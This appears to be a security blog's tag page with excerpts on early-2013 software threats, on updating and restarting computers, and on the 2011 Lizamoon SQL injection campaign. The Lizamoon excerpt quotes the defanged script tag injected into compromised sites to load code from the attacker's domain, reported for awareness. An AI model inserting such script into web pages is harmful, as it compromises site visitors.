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Posts Tagged ‘update’

Happy New malware Year

A turbulent beginning of 2013

Every holiday season, almost nothing feels better than giving someone you care about the one gift he or she truly wanted. We all are more than happy to enjoy a couple of days off but it seems as if the bad guys were using these days to dig up exploit possibilities and other bugs inside the software we use and to presented the world with their ‘special’ New Year gifts. Let us have a look at how the year started and sum up a couple of threats we saw during the past weeks.

We can determine threats on two major fronts: Ruby on Rails, Java and Microsoft’s Internet Explorer form the first one – all web-related. And then there are flaws in Foxit Reader and Microsoft’s Windows RT, which also got in the line of fire.

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Mar 11, 2013 | Categories: Blog | Tags: , , , , | Comments Off on Happy New malware Year

Make updates! Restart your computer!

Pornography alarm or reboot?

After years of insisting on the importance of updating and patching, most people know by now that it is wise to perform updates. Unfortunately, many people tend to think about the operating system updates only. They neglect so-called third party software, such as Adobe PDF, Adobe Flash and Oracle Java in particular and all other software in general, which is a huge mistake.

But there is another pitfall: Most computer users do not realize that many software updates do not only need to be installed, but the computer needs to be restarted for the updates and patches to take effect. The combination of ignorance, impatience and laziness is fatal in this sense.

The safety of the PC stands and falls with the combination of your security software, the updates of the OS and other software and especially of your own behavior. Very often, the Achilles heel of PC security is human ‘procrastination’.
Users often don’t want to turn the PC or laptop off completely, because the startup takes too long. The endlessly used method to simply closing the laptop or choosing hibernation state of the PC is a phenomenon that most readers will be familiar with. The use of tablet computers even made it worse: those devices are ready to be used in an instant and therefore have made us even more impatient.
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Jan 07, 2013 | Categories: Blog | Tags: , , , , , , | Comments Off on Make updates! Restart your computer!

It never stays quiet on the internet: The Lizamoon attack, the update problem?

It never stays quiet on the internet and new attacks or malware are seen every day. The last week however we saw an interesting mass SQL injection attack, referred to as Lizamoon, which was spreading and has infected several millions of URLs last week (March 29 until April 4). Even after a week, thousands of comprised websites don’t seem to be cleaned up, yet.

What are we talking about?
The mentioned attack uses SQL injection techniques to insert rogue code into the databases of websites. SQL injection is a code injection technique that misuses available functionality that is not filtered away properly. In other words: The vulnerability is present when user input is not correctly filtered for escape characters embedded in SQL statements or if the input is not strongly typed and by this unexpectedly executed (cf.: Wikipedia).

The following code was injected into a large number of websites:
<script src=hxxp://lizamoon . com / ur . php >

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Apr 13, 2011 | Categories: Blog | Tags: , , , | Comments Off on It never stays quiet on the internet: The Lizamoon attack, the update problem?